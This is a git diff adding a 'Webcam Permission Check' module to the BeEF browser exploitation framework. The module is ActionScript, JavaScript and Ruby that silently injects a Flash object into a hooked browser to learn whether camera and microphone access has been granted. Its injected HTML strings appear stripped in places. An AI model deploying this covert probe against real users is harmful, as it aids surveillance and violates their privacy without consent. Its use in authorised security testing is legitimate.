diff --git a/modules/browser/webcam_permision_check/cameraCheck.as b/modules/browser/webcam_permision_check/cameraCheck.as new file mode 100644 index 000000000..c4fcc40d4 --- /dev/null +++ b/modules/browser/webcam_permision_check/cameraCheck.as @@ -0,0 +1,54 @@ +// +// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +// Source ActionScript for cameraCheck.swf +package { + + import flash.display.Sprite; + import flash.external.ExternalInterface; + import flash.media.Camera; + import flash.system.Security; + import flash.system.SecurityPanel; + + public class CamCheck extends Sprite { + + var _cam:Camera; + + public function CamCheck() { + + if (Camera.isSupported) { + this._cam = Camera.getCamera(); + + if (!this._cam) { + + //Either the camera is not available or some other error has occured + ExternalInterface.call("naPermissions"); + + } else if (this._cam.muted) { + + //The user has not allowed access to the camera + ExternalInterface.call("noPermissions"); + + // Uncomment this show the privacy/security settings window + //Security.showSettings(SecurityPanel.PRIVACY); + } else { + + //The user has allowed access to the camera + ExternalInterface.call("yesPermissions"); + } + + } else { + + //Camera Not Supported + ExternalInterface.call("naPermissions"); + + } + + } + + } + +} \ No newline at end of file diff --git a/modules/browser/webcam_permision_check/cameraCheck.swf b/modules/browser/webcam_permision_check/cameraCheck.swf new file mode 100644 index 000000000..7894dd240 Binary files /dev/null and b/modules/browser/webcam_permision_check/cameraCheck.swf differ diff --git a/modules/browser/webcam_permision_check/command.js b/modules/browser/webcam_permision_check/command.js new file mode 100644 index 000000000..310b0fd61 --- /dev/null +++ b/modules/browser/webcam_permision_check/command.js @@ -0,0 +1,39 @@ +// +// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + + +beef.execute(function() { + + + //These 3 functions [naPermissions() The camera is not available or not supported + // yesPermissions() The user is allowing access to the camera / mic + // yesPermissions() The user has not allowed access to the camera / mic + // Flash will invoke these functions directly. + var js_functions = ''; + + + var body_flash_container = '
'; + + //A library that helps include the swf file + var swfobject_script = '' + + //This is the javascript that actually calls the swfobject library to include the swf file + var include_script = ''; + + + //Add flash content + $j('body').append(js_functions, swfobject_script, body_flash_container, include_script); + +}); + + + + + diff --git a/modules/browser/webcam_permision_check/config.yaml b/modules/browser/webcam_permision_check/config.yaml new file mode 100644 index 000000000..78558df0d --- /dev/null +++ b/modules/browser/webcam_permision_check/config.yaml @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + wb: + enable: true + category: "Browser" + name: "Webcam Permission Check" + description: "This module will check to see if the user has allowed the BeEF domain (or all domains) to access the Camera and Mic with Flash. This module is transparent and should not be detected by the user (ie. no popup requesting permission will appear)" + authors: ["@bw_z"] + target: + working: ["All"] diff --git a/modules/browser/webcam_permision_check/module.rb b/modules/browser/webcam_permision_check/module.rb new file mode 100644 index 000000000..2cf19a11d --- /dev/null +++ b/modules/browser/webcam_permision_check/module.rb @@ -0,0 +1,18 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +class Wb < BeEF::Core::Command + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/wb/cameraCheck.swf', '/cameraCheck', 'swf') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/wb/swfobject.js', '/swfobject', 'js') + end + + def post_execute + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/cameraCheck.swf') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/swfobject.js') + end + +end diff --git a/modules/browser/webcam_permision_check/swfobject.js b/modules/browser/webcam_permision_check/swfobject.js new file mode 100644 index 000000000..8eafe9dd8 --- /dev/null +++ b/modules/browser/webcam_permision_check/swfobject.js @@ -0,0 +1,4 @@ +/* SWFObject v2.2